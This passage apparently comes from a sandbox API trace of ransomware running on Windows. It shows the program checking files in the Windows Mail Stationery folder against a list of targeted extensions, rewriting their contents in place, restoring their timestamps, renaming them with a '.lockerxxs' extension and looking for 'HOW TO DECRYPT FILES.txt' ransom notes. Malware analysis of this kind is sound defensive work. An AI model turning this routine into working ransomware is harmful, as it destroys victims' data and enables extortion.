HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.mbox") returned 0 [0085.133] lstrlenA (lpString="*.mbox") returned 6 [0085.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.eml") returned 0 [0085.133] lstrlenA (lpString="*.eml") returned 5 [0085.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.pst") returned 0 [0085.133] lstrlenA (lpString="*.pst") returned 5 [0085.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.ost") returned 0 [0085.133] lstrlenA (lpString="*.ost") returned 5 [0085.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.idx") returned 0 [0085.133] lstrlenA (lpString="*.idx") returned 5 [0085.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.dbx") returned 0 [0085.133] lstrlenA (lpString="*.dbx") returned 5 [0085.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.sql") returned 0 [0085.134] lstrlenA (lpString="*.sql") returned 5 [0085.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.mdb") returned 0 [0085.134] lstrlenA (lpString="*.mdb") returned 5 [0085.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.fdb") returned 0 [0085.134] lstrlenA (lpString="*.fdb") returned 5 [0085.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.wab") returned 0 [0085.134] lstrlenA (lpString="*.wab") returned 5 [0085.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.dat") returned 0 [0085.134] lstrlenA (lpString="*.dat") returned 5 [0085.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.txt") returned 0 [0085.134] lstrlenA (lpString="*.txt") returned 5 [0085.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.jpeg") returned 0 [0085.134] lstrlenA (lpString="*.jpeg") returned 6 [0085.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", pszSpec="*.jpg") returned 1 [0085.134] lstrlenA (lpString="*.jpg") returned 5 [0085.134] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" [0085.134] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" [0085.134] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg." [0085.135] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.lockerxxs" [0085.135] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.135] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13fb [0085.135] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xaa51b2c9, dwHighDateTime=0x1c9ea0c)) returned 1 [0085.136] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.136] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x13d5, lpOverlapped=0x0) returned 1 [0085.141] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg") returned="Peacock.jpg" [0085.141] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.141] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x13d5, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x13d5, lpOverlapped=0x0) returned 1 [0085.142] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0085.142] CloseHandle (hObject=0x98) returned 1 [0085.142] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg.lockerxxs")) returned 1 [0085.147] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x3800033b, dwReserved1=0x4e00c4, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0085.147] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.147] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Roses.htm") returned -1 [0085.147] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Roses.htm") returned -1 [0085.147] lstrcmpiA (lpString1="", lpString2="Roses.htm") returned -1 [0085.147] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg") returned="Peacock.jpg" [0085.147] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0085.147] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0085.147] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0085.147] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0085.147] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="Roses.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" [0085.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.ems") returned 0 [0085.147] lstrlenA (lpString="*.ems") returned 5 [0085.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.db") returned 0 [0085.147] lstrlenA (lpString="*.db") returned 4 [0085.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.dbf") returned 0 [0085.148] lstrlenA (lpString="*.dbf") returned 5 [0085.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.myox") returned 0 [0085.148] lstrlenA (lpString="*.myox") returned 6 [0085.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.myo") returned 0 [0085.148] lstrlenA (lpString="*.myo") returned 5 [0085.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.qbw") returned 0 [0085.148] lstrlenA (lpString="*.qbw") returned 5 [0085.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.qbb") returned 0 [0085.148] lstrlenA (lpString="*.qbb") returned 5 [0085.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.qbm") returned 0 [0085.148] lstrlenA (lpString="*.qbm") returned 5 [0085.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.qbo") returned 0 [0085.148] lstrlenA (lpString="*.qbo") returned 5 [0085.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.qbx") returned 0 [0085.149] lstrlenA (lpString="*.qbx") returned 5 [0085.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.qba") returned 0 [0085.149] lstrlenA (lpString="*.qba") returned 5 [0085.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.qby") returned 0 [0085.149] lstrlenA (lpString="*.qby") returned 5 [0085.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.qbj") returned 0 [0085.149] lstrlenA (lpString="*.qbj") returned 5 [0085.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.ofx") returned 0 [0085.149] lstrlenA (lpString="*.ofx") returned 5 [0085.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.qif") returned 0 [0085.149] lstrlenA (lpString="*.qif") returned 5 [0085.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.mye") returned 0 [0085.149] lstrlenA (lpString="*.mye") returned 5 [0085.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.mbox") returned 0 [0085.149] lstrlenA (lpString="*.mbox") returned 6 [0085.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.eml") returned 0 [0085.149] lstrlenA (lpString="*.eml") returned 5 [0085.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.pst") returned 0 [0085.149] lstrlenA (lpString="*.pst") returned 5 [0085.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.ost") returned 0 [0085.149] lstrlenA (lpString="*.ost") returned 5 [0085.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.idx") returned 0 [0085.150] lstrlenA (lpString="*.idx") returned 5 [0085.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.dbx") returned 0 [0085.150] lstrlenA (lpString="*.dbx") returned 5 [0085.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.sql") returned 0 [0085.150] lstrlenA (lpString="*.sql") returned 5 [0085.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.mdb") returned 0 [0085.150] lstrlenA (lpString="*.mdb") returned 5 [0085.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.fdb") returned 0 [0085.150] lstrlenA (lpString="*.fdb") returned 5 [0085.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.wab") returned 0 [0085.150] lstrlenA (lpString="*.wab") returned 5 [0085.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.dat") returned 0 [0085.150] lstrlenA (lpString="*.dat") returned 5 [0085.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.txt") returned 0 [0085.150] lstrlenA (lpString="*.txt") returned 5 [0085.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.jpeg") returned 0 [0085.150] lstrlenA (lpString="*.jpeg") returned 6 [0085.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.jpg") returned 0 [0085.150] lstrlenA (lpString="*.jpg") returned 5 [0085.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.png") returned 0 [0085.150] lstrlenA (lpString="*.png") returned 5 [0085.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.php") returned 0 [0085.151] lstrlenA (lpString="*.php") returned 5 [0085.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.cs") returned 0 [0085.151] lstrlenA (lpString="*.cs") returned 4 [0085.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.cpp") returned 0 [0085.151] lstrlenA (lpString="*.cpp") returned 5 [0085.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.rar") returned 0 [0085.151] lstrlenA (lpString="*.rar") returned 5 [0085.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.zip") returned 0 [0085.151] lstrlenA (lpString="*.zip") returned 5 [0085.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.html") returned 0 [0085.151] lstrlenA (lpString="*.html") returned 6 [0085.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", pszSpec="*.htm") returned 1 [0085.151] lstrlenA (lpString="*.htm") returned 5 [0085.151] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" [0085.151] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" [0085.151] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm." [0085.151] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.lockerxxs" [0085.151] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.152] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe9 [0085.152] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28f3aae0, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28f3aae0, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xce12fdf6, dwHighDateTime=0x1ca040d)) returned 1 [0085.152] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.152] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc3, lpOverlapped=0x0) returned 1 [0085.153] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm") returned="Roses.htm" [0085.154] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.154] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc3, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc3, lpOverlapped=0x0) returned 1 [0085.154] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0085.154] CloseHandle (hObject=0x98) returned 1 [0085.154] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm.lockerxxs")) returned 1 [0085.155] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x27000324, dwReserved1=0x4e00c4, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0085.155] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.155] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Roses.jpg") returned -1 [0085.155] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Roses.jpg") returned -1 [0085.155] lstrcmpiA (lpString1="", lpString2="Roses.jpg") returned -1 [0085.156] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm") returned="Roses.htm" [0085.156] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0085.156] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0085.156] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0085.156] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0085.156] 